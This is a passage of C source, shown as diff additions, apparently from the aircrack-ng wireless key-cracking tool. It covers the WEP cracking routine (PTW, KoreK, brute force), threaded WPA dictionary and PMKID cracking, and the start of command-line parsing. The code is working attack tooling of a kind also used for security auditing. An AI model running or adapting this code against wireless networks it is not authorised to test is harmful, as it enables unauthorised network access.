+	REQUIRE(ap_cur != NULL);
+
+	int ret = FAILURE;
+	int j = 0;
+
+	/* Default key length: 128 bits */
+	if (opt.keylen == 0) opt.keylen = 13;
+
+	if (j + opt.do_brute > 4)
+	{
+		printf("Bruteforcing more than 4 bytes will take too long, aborting!");
+		return (FAILURE);
+	}
+
+	for (int i = 0; i < opt.do_brute; i++)
+	{
+		opt.brutebytes[j + i] = opt.keylen - 1 - i;
+	}
+
+	opt.do_brute += j;
+
+	if (opt.ffact <= FLT_EPSILON)
+	{
+		if (opt.do_ptw)
+			opt.ffact = 2;
+		else
+		{
+			if (!opt.do_testy)
+			{
+				if (opt.keylen == 5)
+					opt.ffact = 5;
+				else
+					opt.ffact = 2;
+			}
+			else
+				opt.ffact = 30;
+		}
+	}
+
+	memset(&wep, 0, sizeof(wep));
+
+	if (opt.do_ptw)
+	{
+		if (!opt.is_quiet)
+			printf("Attack will be restarted every %d captured ivs.\n",
+				   PTW_TRY_STEP);
+		opt.next_ptw_try = (int) (ap_cur->nb_ivs_vague
+								  - (ap_cur->nb_ivs_vague % PTW_TRY_STEP));
+		do
+		{
+			if (ap_cur->nb_ivs_vague >= opt.next_ptw_try)
+			{
+				if (!opt.is_quiet)
+					printf("Starting PTW attack with %ld ivs.\n",
+						   ap_cur->nb_ivs_vague);
+				ret = crack_wep_ptw(ap_cur);
+				ALLEGE(ret >= 0 && ret <= RESTART); //-V560
+
+				if (opt.oneshot == 1 && ret == FAILURE)
+				{
+					printf("   Attack failed. Possible reasons:\n\n"
+						   "     * Out of luck: you must capture more IVs. "
+						   "Usually, 104-bit WEP\n"
+						   "       can be cracked with about 80 000 IVs, "
+						   "sometimes more.\n\n"
+						   "     * Try to raise the fudge factor (-f).\n");
+					ret = 0;
+				}
+
+				if (ret)
+				{
+					opt.next_ptw_try += PTW_TRY_STEP;
+					printf("Failed. Next try with %d IVs.\n", opt.next_ptw_try);
+				}
+			}
+			if (ret) usleep(1000);
+		} while (!close_aircrack && ret != 0);
+	}
+
+	if (close_aircrack)
+		return (FAILURE);
+
+	else if (opt.dict != NULL)
+	{
+		ret = crack_wep_dict();
+		ALLEGE(ret >= 0 && ret <= RESTART); //-V560
+	}
+	else
+	{
+		for (int i = 0; i < opt.nbcpu; i++)
+		{
+			/* start one thread per cpu */
+
+			if (opt.amode <= 1 && opt.nbcpu > 1 && opt.do_brute
+				&& opt.do_mt_brute)
+			{
+				if (pthread_create(&(tid[id]),
+								   NULL,
+								   (void *) inner_bruteforcer_thread,
+								   (void *) (long) i)
+					!= 0)
+				{
+					perror("pthread_create failed");
+					return (FAILURE);
+				}
+				id++;
+			}
+
+			if (pthread_create(&(tid[id]),
+							   NULL,
+							   (void *) crack_wep_thread,
+							   (void *) (long) i)
+				!= 0)
+			{
+				perror("pthread_create failed");
+				return (FAILURE);
+			}
+			id++;
+		}
+
+		if (!opt.do_testy)
+		{
+			do
+			{
+				ret = do_wep_crack1(0);
+				ALLEGE(ret >= 0 && ret <= RESTART); //-V560
+			} while (ret == RESTART);
+
+			if (ret == FAILURE)
+			{
+				printf("   Attack failed. Possible reasons:\n\n"
+					   "     * Out of luck: you must capture more IVs. "
+					   "Usually, 104-bit WEP\n"
+					   "       can be cracked with about one million IVs, "
+					   "sometimes more.\n\n"
+					   "     * If all votes seem equal, or if there are "
+					   "many negative votes,\n"
+					   "       then the capture file is corrupted, or the "
+					   "key is not static.\n\n"
+					   "     * A false positive prevented the key from "
+					   "being found.  Try to\n"
+					   "       disable each korek attack (-k 1 .. 17), "
+					   "raise the fudge factor\n"
+					   "       (-f)");
+				if (opt.do_testy)
+					printf("and try the experimental bruteforce attacks "
+						   "(-y).");
+				printf("\n");
+			}
+		}
+		else
+		{
+			for (int i = opt.keylen - 3; i < opt.keylen - 2; i++)
+			{
+				do
+				{
+					ret = do_wep_crack2(i);
+					ALLEGE(ret >= 0 && ret <= RESTART); //-V560
+				} while (ret == RESTART);
+
+				if (ret == SUCCESS) break;
+			}
+
+			if (ret == FAILURE)
+			{
+				printf("   Attack failed. Possible reasons:\n\n"
+					   "     * Out of luck: you must capture more IVs. "
+					   "Usually, 104-bit WEP\n"
+					   "       can be cracked with about one million IVs, "
+					   "sometimes more.\n\n"
+					   "     * If all votes seem equal, or if there are "
+					   "many negative votes,\n"
+					   "       then the capture file is corrupted, or the "
+					   "key is not static.\n\n"
+					   "     * A false positive prevented the key from "
+					   "being found.  Try to\n"
+					   "       disable each korek attack (-k 1 .. 17), "
+					   "raise the fudge factor\n"
+					   "       (-f)");
+				if (opt.do_testy)
+					printf("or try the standard attack mode instead (no -y "
+						   "option).");
+				printf("\n");
+			}
+		}
+	}
+
+#if defined(__GNUC__) && !defined(__clang__)
+#pragma GCC diagnostic push
+#pragma GCC diagnostic ignored "-Wstrict-overflow"
+#endif
+	ALLEGE(ret >= 0 && ret <= RESTART);
+	if (opt.is_quiet != 1 && ret == FAILURE)
+	{
+		struct winsize ws;
+
+		if (ioctl(0, TIOCGWINSZ, &ws) < 0)
+		{
+			ws.ws_row = 25;
+			ws.ws_col = 80;
+		}
+
+		moveto((ws.ws_col - 13) / 2, 5);
+		erase_line(2);
+		printf("KEY NOT FOUND\n");
+		moveto(0, 24);
+	}
+#if defined(__GNUC__) && !defined(__clang__)
+#pragma GCC diagnostic pop
+#endif
+
+	return (ret);
+}
+
+static int perform_wpa_crack(struct AP_info * ap_cur)
+{
+	REQUIRE(ap_cur != NULL);
+
+#ifdef HAVE_SQLITE
+	int rc;
+	char * zErrMsg = 0;
+	const char looper[4] = {'|', '/', '-', '\\'};
+	int looperc = 0;
+	int waited = 0;
+	const char * sqlformat
+		= "SELECT pmk.PMK, passwd.passwd FROM pmk INNER JOIN "
+		  "passwd ON passwd.passwd_id = pmk.passwd_id INNER JOIN "
+		  "essid ON essid.essid_id = pmk.essid_id WHERE "
+		  "essid.essid = '%q'";
+	char * sql;
+#endif
+
+	dso_ac_crypto_engine_init(&engine);
+
+	if (opt.dict == NULL && db == NULL)
+	{
+		return (missing_wordlist_dictionary(ap_cur));
+	}
+
+	cpuset = ac_cpuset_new();
+	ALLEGE(cpuset);
+	ac_cpuset_init(cpuset);
+	ac_cpuset_distribute(cpuset, (size_t) opt.nbcpu);
+
+	ap_cur = get_first_target();
+
+	if (ap_cur == NULL)
+	{
+		printf("No valid WPA handshakes found.\n");
+		return (FAILURE);
+	}
+
+	if (memcmp(ap_cur->essid, ZERO, ESSID_LENGTH) == 0 && !opt.essid_set)
+	{
+		printf("An ESSID is required. Try option -e.\n");
+		return (FAILURE);
+	}
+
+	if (opt.essid_set && ap_cur->essid[0] == '\0')
+	{
+		memcpy(ap_cur->essid, opt.essid, sizeof(ap_cur->essid));
+	}
+
+	dso_ac_crypto_engine_set_essid(&engine, ap_cur->essid);
+
+	if (db == NULL)
+	{
+		int starting_thread_id = id;
+		first_wpa_threadid = id;
+
+		ALLEGE(opt.nbcpu >= 1);
+
+		for (int i = 0; i < opt.nbcpu; i++)
+		{
+			if (ap_cur->ivbuf_size)
+			{
+				free(ap_cur->ivbuf);
+				ap_cur->ivbuf = NULL;
+				ap_cur->ivbuf_size = 0;
+			}
+
+			uniqueiv_wipe(ap_cur->uiv_root);
+			ap_cur->uiv_root = NULL;
+			ap_cur->nb_ivs = 0;
+
+			// assumption: an eapol exists.
+			if (ap_cur->wpa.state <= 0)
+			{
+				fprintf(stderr,
+						"Packets contained no EAPOL data; unable "
+						"to process this AP.\n");
+				return (FAILURE);
+			}
+
+			const size_t key_size = MAX_PASSPHRASE_LENGTH + 1;
+			const size_t kb_size = WL_CIRCULAR_QUEUE_SIZE * key_size;
+
+			/* start one thread per cpu */
+			wpa_data[i].active = 1;
+			wpa_data[i].ap = ap_cur;
+			wpa_data[i].thread = i;
+			wpa_data[i].threadid = id;
+#if HAVE_POSIX_MEMALIGN
+			if (posix_memalign((void **) &(wpa_data[i].key_buffer),
+							   CACHELINE_SIZE,
+							   kb_size))
+				perror("posix_memalign");
+#else
+			wpa_data[i].key_buffer = calloc(1, kb_size);
+#endif
+			ALLEGE(wpa_data[i].key_buffer);
+			wpa_data[i].cqueue = circular_queue_init(
+				wpa_data[i].key_buffer, kb_size, key_size);
+			ALLEGE(wpa_data[i].cqueue);
+			memset(wpa_data[i].key, 0, sizeof(wpa_data[i].key));
+			ALLEGE(pthread_mutex_init(&wpa_data[i].mutex, NULL) == 0);
+
+			if (pthread_create(&(tid[id]),
+							   NULL,
+							   (void *) (ap_cur->wpa.state == 7
+											 ? crack_wpa_thread
+											 : crack_wpa_pmkid_thread),
+							   (void *) &(wpa_data[i]))
+				!= 0)
+			{
+				perror("pthread_create failed");
+				return (FAILURE);
+			}
+
+			ac_cpuset_bind_thread_at(cpuset, tid[id], (size_t) i);
+
+			id++;
+		}
+
+		int ret = do_wpa_crack(); // we feed keys to the cracking threads
+
+		// Shutdown the circular queue.
+		bool shutdown;
+		do
+		{
+			shutdown = true;
+
+			for (int i = 0; i < opt.nbcpu; ++i)
+			{
+				int active;
+
+				if (close_aircrack_fast || wpa_cracked)
+				{
+					circular_queue_reset(wpa_data[i].cqueue);
+				}
+
+				ALLEGE(pthread_mutex_lock(&(wpa_data[i].mutex)) == 0);
+				active = wpa_data[i].active;
+				ALLEGE(pthread_mutex_unlock(&(wpa_data[i].mutex)) == 0);
+
+				if (active)
+				{
+					bool result = circular_queue_try_push(
+									  wpa_data[i].cqueue, "\xff\xff\xff\xff", 4)
+								  == 0;
+					if (!result) shutdown = false;
+				}
+			}
+		} while (!shutdown);
+
+		// we wait for the cracking threads to end
+		for (int i = starting_thread_id; i < opt.nbcpu + starting_thread_id;
+			 i++)
+			if (tid[i] != 0)
+			{
+				ALLEGE(pthread_join(tid[i], NULL) == 0);
+				tid[i] = 0;
+			}
+
+		// find the matching passphrase
+		int i;
+		for (i = 0; i < opt.nbcpu; i++)
+		{
+			if (wpa_data[i].key[0] != 0)
+			{
+				ret = SUCCESS;
+				break;
+			}
+		}
+
+		if (ret == SUCCESS)
+		{
+			if (opt.is_quiet)
+			{
+				printf("KEY FOUND! [ %s ]\n", wpa_data[i].key);
+				clean_exit(EXIT_SUCCESS);
+				return (SUCCESS);
+			}
+
+			if (opt.l33t)
+			{
+				textstyle(TEXT_BRIGHT);
+				textcolor_fg(TEXT_RED);
+			}
+
+			moveto((80 - 15 - (int) strlen(wpa_data[i].key)) / 2, 8);
+			erase_line(2);
+			printf("KEY FOUND! [ %s ]\n", wpa_data[i].key);
+			move(CURSOR_DOWN, 11);
+
+			if (opt.l33t)
+			{
+				textcolor_normal();
+				textcolor_fg(TEXT_GREEN);
+			}
+
+			moveto(0, 22);
+
+			clean_exit(EXIT_SUCCESS);
+		}
+		else if (!close_aircrack)
+		{
+			if (opt.is_quiet)
+			{
+				printf("\nKEY NOT FOUND\n");
+				clean_exit(EXIT_FAILURE);
+				return (FAILURE);
+			}
+
+			if (opt.stdin_dict)
+			{
+				moveto(30, 5);
+				printf(" %lld\n", nb_tried);
+			}
+			else
+			{
+				uint8_t ptk[64] = {0};
+				uint8_t mic[32] = {0};
+
+				show_wpa_stats(wpa_data[i].key,
+							   (int) strlen(wpa_data[i].key),
+							   (unsigned char *) (wpa_data[i].key),
+							   ptk,
+							   mic,
+							   1);
+
+				moveto((80 - 13) / 2, 8);
+				erase_line(2);
+				printf("KEY NOT FOUND\n");
+
+				moveto(0, 22);
+			}
+		}
+	}
+#ifdef HAVE_SQLITE
+	else
+	{
+		if (!opt.is_quiet && !_speed_test)
+		{
+			if (opt.l33t) textcolor(TEXT_RESET, TEXT_WHITE, TEXT_BLACK);
+			erase_line(2);
+			if (opt.l33t) textcolor(TEXT_BRIGHT, TEXT_BLUE, TEXT_BLACK);
+			moveto((80 - (int) strlen(progname)) / 2, 2);
+			printf("%s", progname);
+		}
+		sql = sqlite3_mprintf(sqlformat, ap_cur->essid);
+		while (1)
+		{
+			rc = sqlite3_exec(db, sql, sql_wpacallback, ap_cur, &zErrMsg);
+			if (rc == SQLITE_LOCKED || rc == SQLITE_BUSY)
+			{
+				fprintf(stdout,
+						"Database is locked or busy. Waiting %is ... %1c    \r",
+						++waited,
+						looper[looperc]);
+				fflush(stdout);
+				looperc = (looperc + 1) % sizeof(looper);
+				sleep(1);
+			}
+			else
+			{
+				if (rc != SQLITE_OK && rc != SQLITE_ABORT)
+				{
+					fprintf(stderr, "SQL error: %s\n", zErrMsg);
+					sqlite3_free(zErrMsg);
+				}
+				if (waited != 0) printf("\n\n");
+				wpa_wordlists_done = 1;
+				break;
+			}
+		}
+		sqlite3_free(sql);
+	}
+#endif
+
+	return (SUCCESS);
+}
+
+#if DYNAMIC
+static void load_aircrack_crypto_dso(int simd_features)
+{
+	simd_init();
+
+	if (simd_features == -1)
+	{
+		simd_features = simd_get_supported_features();
+		simd_features &= ac_crypto_engine_loader_get_available();
+	}
+
+	if (ac_crypto_engine_loader_load(simd_features) != 0) exit(EXIT_FAILURE);
+
+	simd_destroy();
+}
+#endif
+
+int main(int argc, char * argv[])
+{
+	int i, n, ret, option, j, ret1, nbMergeBSSID;
+	int cpu_count, showhelp, z, zz, forceptw;
+	char *s, buf[128];
+	struct AP_info * ap_cur = NULL;
+	int old = 0;
+	char essid[ESSID_LENGTH + 1];
+	int restore_session = 0;
+	int nbarg = argc;
+	access_points = c_avl_create(station_compare);
+	targets = c_avl_create(station_compare);
+
+	ac_crypto_init();
+
+	ret = FAILURE;
+	showhelp = 0;
+
+	// Start a new process group, we are perhaps going to call kill(0, ...)
+	// later
+	setsid();
+
+	memset(&opt, 0, sizeof(opt));
+
+	rand_init();
+
+#if DYNAMIC
+	// Load the best available shared library, or the user specified one.
+	int simd_features = -1;
+	if (argc >= 2 && strncmp(argv[1], "--simd=", 7) == 0)
+	{
+		const char * simd = &argv[1][7];
+
+		simd_features = ac_crypto_engine_loader_string_to_flag(simd);
+
+		if (simd_features < SIMD_SUPPORTS_NONE)
+		{
+			fprintf(stderr, "Unknown SIMD architecture.\n");
+			exit(EXIT_FAILURE);
+		}
+	}
+
+	load_aircrack_crypto_dso(simd_features);
+#endif
+
+	// Get number of CPU (return -1 if failed).
+	cpu_count = get_nb_cpus();
+	opt.nbcpu = 1;
+	if (cpu_count > 1)
+	{
+		opt.nbcpu = cpu_count;
+	}
+
+	db = NULL;
+	/* check the arguments */
+
+	opt.nbdict = 0;
+	opt.amode = 0;
+	opt.do_brute = 1;
+	opt.do_mt_brute = 1;
+	opt.showASCII = 0;
+	opt.probability = 51;
+	opt.next_ptw_try = 0;
+	opt.do_ptw = 1;
+	opt.max_ivs = INT_MAX;
+	opt.visual_inspection = 0;
+	opt.firstbssid = NULL;
+	opt.bssid_list_1st = NULL;
+	opt.bssidmerge = NULL;
+	opt.oneshot = 0;
+	opt.logKeyToFile = NULL;
+	opt.wkp = NULL;
+	opt.hccap = NULL;
+	opt.forced_amode = 0;
+	opt.hccapx = NULL;
+
+	forceptw = 0;
+
+	ALLEGE(signal(SIGINT, sighandler) != SIG_ERR);
+	ALLEGE(signal(SIGQUIT, sighandler) != SIG_ERR);
+	ALLEGE(signal(SIGTERM, sighandler) != SIG_ERR);
+	ALLEGE(signal(SIGALRM, SIG_IGN) != SIG_ERR);
+
+	ALLEGE(pthread_mutex_init(&mx_apl, NULL) == 0);
+	ALLEGE(pthread_mutex_init(&mx_ivb, NULL) == 0);
+	ALLEGE(pthread_mutex_init(&mx_eof, NULL) == 0);
+	ALLEGE(pthread_mutex_init(&mx_dic, NULL) == 0);
+	ALLEGE(pthread_cond_init(&cv_eof, NULL) == 0);
+
+	// When no params, no point checking/parsing arguments
+	if (nbarg == 1)
+	{
+		showhelp = 1;
+		goto usage;
+	}
+
+	// Check if we are restoring from a session
+	if (nbarg == 3 && (strcmp(argv[1], "--restore-session") == 0
+					   || strcmp(argv[1], "-R") == 0))
+	{
+		cracking_session = ac_session_load(argv[2]);
+		if (cracking_session == NULL)
+		{
+			fprintf(stderr, "Failed loading session file: %s\n", argv[2]);
+			return (EXIT_FAILURE);
+		}
+		nbarg = cracking_session->argc;
+		printf("Restoring session\n");
+		restore_session = 1;
+	}
+
+	while (1)
+	{
+
+		int option_index = 0;
+
+		static const struct option long_options[]
+			= {{"bssid", 1, 0, 'b'},
+			   {"debug", 1, 0, 'd'},
+			   {"combine", 0, 0, 'C'},
+			   {"help", 0, 0, 'H'},
+			   {"wep-decloak", 0, 0, 'D'},
+			   {"ptw-debug", 1, 0, 'P'},
+			   {"visual-inspection", 0, 0, 'V'},
+			   {"oneshot", 0, 0, '1'},
+			   {"cpu-detect", 0, 0, 'u'},
+			   {"new-session", 1, 0, 'N'},
+			   // Even though it's taken care of above, we need to
+			   // handle the case where it's used along with other
+			   // parameters.
+			   {"restore-session", 1, 0, 'R'},
+			   {"simd", 1, 0, 'W'},
+			   {"simd-list", 0, 0, 0},
+			   {0, 0, 0, 0}};
+
+		// Load argc/argv either from the cracking session or from arguments
+		option = getopt_long(
+			nbarg,
+			((restore_session) ? cracking_session->argv : argv),
+			"r:a:e:b:p:qcthd:l:E:J:m:n:i:f:k:x::XysZ:w:0HKC:M:DP:zV1Suj:N:R:I:",
+			long_options,
+			&option_index);
+
+		if (option < 0) break;
+
+		if (option_index >= 0)
+		{
+			if (strncmp(long_options[option_index].name, "simd-list", 9) == 0)
+			{
+				int simd_found = ac_crypto_engine_loader_get_available();
+				char * simd_list
+					= ac_crypto_engine_loader_flags_to_string(simd_found);
+
+				printf("%s\n", simd_list);
+
+				free(simd_list);
+
+				exit(EXIT_SUCCESS);
+			}
+		}
+
+		switch (option)
+		{
+			case 'N':
+				// New session
+				if (cracking_session == NULL)
+				{
+					// Ignore if there is a cracking session (which means it was
+					// loaded from it)
+					cracking_session
+						= ac_session_from_argv(nbarg, argv, optarg);
+					if (cracking_session == NULL)
+					{
+						return (EXIT_FAILURE);
+					}
+				}
+				break;
+			case 'R':
+				// Restore and continue session
+				fprintf(stderr, "This option must be used alone!\n");
+				return (EXIT_FAILURE);
+
+			case 'W':
+				break;
+
+			case 'S':
+				_speed_test = 1;
+				break;
+
+			case 'I':
+				_pmkid_16800 = 1;
+				memset((char *) _pmkid_16800_str, 0, sizeof(_pmkid_16800_str));
+				strncpy((char *) _pmkid_16800_str,
+						optarg,
+						sizeof(_pmkid_16800_str));
+				break;
+
+			case 'Z':
+				_speed_test_length = strtol(optarg, NULL, 10);
+				if (errno == ERANGE)
+				{
+					fprintf(stderr, "Invalid speed test length given.\n");
+					return (EXIT_FAILURE);
+				}
+				break;
+
+			case ':':
+
+				printf("\"%s --help\" for help.\n", argv[0]);
+				return (EXIT_FAILURE);
+
+			case '?':
+
+				printf("\"%s --help\" for help.\n", argv[0]);
+				return (EXIT_FAILURE);
+
+			case 'u':
+#if defined(__i386__) || defined(__x86_64__) || defined(__arm__)               \
+	|| defined(__aarch64__)
+				cpuid_getinfo();
+				int in_use_simdsize = dso_ac_crypto_engine_simd_width();
+				printf("SIMD size in use= %d ", in_use_simdsize);
+
+				if (in_use_simdsize == 1)
+					printf("(64 bit)\n");
+				else if (in_use_simdsize == 4)
+					printf("(128 bit)\n");
+				else if (in_use_simdsize == 8)
+					printf("(256 bit)\n");
+				else if (in_use_simdsize == 16)
+					printf("(512 bit)\n");
+				else
+					printf("(unknown)\n");
+#else
+				printf("Nb CPU detected: %d\n", cpu_count);
+#endif
+				return (EXIT_SUCCESS);
+
+			case 'V':
+				if (forceptw)
+				{
+					printf("Visual inspection can only be used with KoreK\n");
+					printf("Use \"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				opt.visual_inspection = 1;
+				opt.do_ptw = 0;
+				break;
+
+			case 'a':
+
+				opt.amode = (int) strtol(optarg, NULL, 10);
+
+				if (strcasecmp(optarg, "wep") == 0)
+					opt.amode = 1;
+
+				else if (strcasecmp(optarg, "wpa") == 0)
+					opt.amode = 2;
+
+				else if (strcasecmp(optarg, "80211w") == 0)
+					opt.amode = 3;
+
+				if (opt.amode != 1 && opt.amode != 2 && opt.amode != 3)
+				{
+					printf(
+						"Invalid attack mode. [1,2,3] or [wep,wpa,80211w]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+#if !defined(HAVE_OPENSSL_CMAC_H) && !defined(GCRYPT_WITH_CMAC_AES)
+				if (opt.amode == 3)
+				{
+					fprintf(stderr,
+							"Key version 3 is only supported when OpenSSL (or "
+							"similar) supports CMAC.\n");
+
+					return (EXIT_FAILURE);
+				}
+#endif /* !HAVE_OPENSSL_CMAC_H && !GCRYPT_WITH_CMAC_AES */
+
+				opt.forced_amode = 1;
+
+				break;
+
+			case 'e':
+
+				memset(opt.essid, 0, sizeof(opt.essid));
+				memcpy(
+					opt.essid, optarg, MIN(strlen(optarg), sizeof(opt.essid)));
+				opt.essid_set = 1;
+				break;
+
+			case 'b':
+
+				if (getmac(optarg, 1, opt.bssid) != 0)
+				{
+					printf("Invalid BSSID (not a MAC).\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				opt.bssid_set = 1;
+				break;
+
+			case 'p':
+
+				opt.nbcpu = (int) strtol(optarg, NULL, 10);
+				if (opt.nbcpu < 1 || opt.nbcpu > MAX_THREADS)
+				{
+					printf("Invalid number of processes (recommended: %d)\n",
+						   cpu_count);
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				break;
+
+			case 'q':
+
+				opt.is_quiet = 1;
+
+				break;
+
+			case 'c':
+
+				opt.is_alnum = 1;
+				break;
+
+			case 'D':
+
+				opt.wep_decloak = 1;
+				break;
+
+			case 'h':
+
+				opt.is_fritz = 1;
+				break;
+
+			case 't':
+
+				opt.is_bcdonly = 1;
+				break;
+
+			case '1':
+
+				opt.oneshot = 1;
+				break;
+
+			case 'd':
+
+				i = 0;
+				n = 0;
+				s = optarg;
+				while (s[i] != '\0')
+				{
+					if (s[i] == 'x') s[i] = 'X';
+					if (s[i] == 'y') s[i] = 'Y';
+					if (s[i] == '-' || s[i] == ':' || s[i] == ' ')
+						i++;
+					else
+						s[n++] = s[i++];
+				}
+				s[n] = '\0';
+				buf[0] = s[0];
+				buf[1] = s[1];
+				buf[2] = '\0';
+				i = 0;
+				j = 0;
+				while ((sscanf(buf, "%d", &n) == 1)
+					   || (buf[0] == 'X' && buf[1] == 'X')
+					   || (buf[0] == 'Y' && buf[1] == 'Y'))
+				{
+					if (buf[0] == 'X' && buf[1] == 'X')
+					{
+						opt.debug_row[i++] = 0;
+					}
+					else if (buf[0] == 'Y' && buf[1] == 'Y')
+					{
+						opt.brutebytes[j++] = i++;
+					}
+					else
+					{
+						if (n < 0 || n > 255)
+						{
+							printf("Invalid debug key.\n");
+							printf("\"%s --help\" for help.\n", argv[0]);
+							return (EXIT_FAILURE);
+						}
+						opt.debug[i] = (uint8_t) n;
+						opt.debug_row[i++] = 1;
+					}
+					if (i >= 64) break;
+					s += 2;
+					buf[0] = s[0];
+					buf[1] = s[1];
+				}
+
+				opt.do_ptw = 0;
+				break;
+
+			case 'm':
+
+				if (getmac(optarg, 1, opt.maddr) != 0)
+				{
+					printf("Invalid MAC address filter.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				break;
+
+			case 'n':
+
+				opt.keylen = (int) strtol(optarg, NULL, 10);
+				if (opt.keylen != 64 && opt.keylen != 128 && opt.keylen != 152
+					&& opt.keylen != 256
+					&& opt.keylen != 512)
+				{
+					printf("Invalid WEP key length. [64,128,152,256,512]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				opt.keylen = (opt.keylen / 8) - 3;
+
+				break;
+
+			case 'i':
+
+				opt.index = (int) strtol(optarg, NULL, 10);
+				if (opt.index < 1 || opt.index > 4)
+				{
+					printf("Invalid WEP key index. [1-4]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				break;
+
+			case 'f':
+
+				opt.ffact = (int) strtol(optarg, NULL, 10);
+				if (opt.ffact < 1)
+				{
+					printf("Invalid fudge factor. [>=1]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				break;
+
+			case 'k':
+
+				opt.korek = (int) strtol(optarg, NULL, 10);
+				if (opt.korek < 1 || opt.korek > N_ATTACKS)
+				{
+					printf("Invalid KoreK attack strategy. [1-%d]\n",
+						   N_ATTACKS);
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				K_COEFF[(opt.korek) - 1] = 0;
+
+				break;
+
+			case 'l':
+
+				opt.logKeyToFile = (char *) calloc(1, strlen(optarg) + 1);
+				if (opt.logKeyToFile == NULL)
+				{
+					printf("Error allocating memory\n");
+					return (EXIT_FAILURE);
+				}
+
+				strncpy(opt.logKeyToFile, optarg, strlen(optarg));
+				break;
+
+			case 'E':
+
+				// Make sure there's enough space for file extension just in
+				// case it was forgotten
+				opt.wkp = (char *) calloc(1, strlen(optarg) + 1 + 4);
+				if (opt.wkp == NULL)
+				{
+					printf("Error allocating memory\n");
+					return (EXIT_FAILURE);
+				}
+
+				strncpy(opt.wkp, optarg, strlen(optarg));
+
+				break;
+
+			case 'J':
+
+				// Make sure there's enough space for file extension just in
+				// case it was forgotten
+				opt.hccap = (char *) calloc(1, strlen(optarg) + 1 + 6);
+				if (opt.hccap == NULL)
+				{
+					printf("Error allocating memory\n");
+					return (EXIT_FAILURE);
+				}
+
+				strncpy(opt.hccap, optarg, strlen(optarg));
+
+				break;
+
+			case 'j':
+
+				// Make sure there's enough space for file extension just in
+				// case it was forgotten
+				opt.hccapx = (char *) calloc(1, strlen(optarg) + 1 + 7);
+				if (opt.hccapx == NULL)
+				{
+					printf("Error allocating memory\n");
+					return (EXIT_FAILURE);
+				}
+
+				strncpy(opt.hccapx, optarg, strlen(optarg));
+
+				break;
+
+			case 'M':
+
+				opt.max_ivs = (int) strtol(optarg, NULL, 10);
+				if (opt.max_ivs < 1)
+				{
+					printf("Invalid number of max. ivs [>=1]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				K_COEFF[(opt.korek) - 1] = 0;
+
+				break;
+
+			case 'P':
+
+				opt.ptw_attack = (int) strtol(optarg, NULL, 10);
+				if (errno == EINVAL || opt.ptw_attack < 0 || opt.ptw_attack > 2)
+				{
+					printf("Invalid number for ptw debug [0-2]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				break;
+
+			case 'x':
+
+				opt.do_brute = 0;
+
+				if (optarg)
+				{
+					opt.do_brute = (int) strtol(optarg, NULL, 10);
+					if (errno == EINVAL || opt.do_brute < 0 || opt.do_brute > 4)
+					{
+						printf("Invalid option -x%s. [0-4]\n", optarg);
+						printf("\"%s --help\" for help.\n", argv[0]);
+						return (EXIT_FAILURE);
+					}
+				}
+
+				break;
+
+			case 'X':
+
+				opt.do_mt_brute = 0;
+				break;
+
+			case 'y':
+
+				opt.do_testy = 1;
+				break;
+
+			case 'K':
+
+				opt.do_ptw = 0;
+				break;
+
+			case 's':
+
+				opt.showASCII = 1;
+				break;
+
+			case 'w':
+
+				if (set_dicts(optarg) != 0)
+				{
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				opt.do_ptw = 0;
+				break;
+
+			case 'r':
+
+#ifdef HAVE_SQLITE
+				if (sqlite3_open(optarg, &db))
+				{
+					fprintf(stderr, "Database error: %s\n", sqlite3_errmsg(db));
+					sqlite3_close(db);
+					return (EXIT_FAILURE);
+				}
+#else
+				fprintf(
+					stderr,
+					"Error: Aircrack-ng wasn't compiled with sqlite support\n");
+				return (EXIT_FAILURE);
+#endif
+				break;
+
+			case '0':
+
+				opt.l33t = 1;
+				break;
+
+			case 'H':
+
+				showhelp = 1;
+				goto usage;
+				break;
+
+			case 'C':
+
+				nbMergeBSSID = checkbssids(optarg);
+
+				if (nbMergeBSSID < 1 || nbMergeBSSID >= INT_MAX)
+				{
+					printf("Invalid bssids (-C).\n\"%s --help\" for help.\n",
+						   argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				// Useless to merge BSSID if only one element
+				if (nbMergeBSSID == 1)
+					printf(
+						"Merging BSSID disabled, only one BSSID specified\n");
+				else
+					opt.bssidmerge = optarg;
+
+				break;
+
+			case 'z':
+
+				/* only for backwards compatibility - PTW used by default */
+				if (opt.visual_inspection)
+				{
+					printf("Visual inspection can only be used with KoreK\n");
+					printf("Use \"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				forceptw = 1;
+
+				break;
+
+			default:
+				goto usage;
+		}
+	}
+
+	if (_speed_test)
+	{
+		if (opt.forced_amode != 1)
+		{
+			// default to WPA-PSK (2)
+			opt.amode = 2;
+		}
+		opt.dict = stdin;
+		opt.bssid_set = 1;
+
+		ap_cur = malloc(sizeof(*ap_cur));
+		if (!ap_cur) err(1, "malloc()");
+
+		memset(ap_cur, 0, sizeof(*ap_cur));
+
+		ap_cur->target = 1;
+		ap_cur->wpa.state = 7;
+		ap_cur->wpa.keyver = (uint8_t)(opt.amode & 0xFF);
+		strcpy((char *) ap_cur->essid, "sorbo");
+		strcpy((char *) ap_cur->bssid, "deadb");
+		c_avl_insert(targets, ap_cur->bssid, ap_cur);
+
+		goto __start;
+	}
+
+	// Cracking session is only for when one or more wordlists are used.
+	// Airolib-ng not supported and stdin not allowed.
+	if ((opt.dict == NULL || opt.no_stdin || db) && cracking_session)
+	{
+		fprintf(
+			stderr,
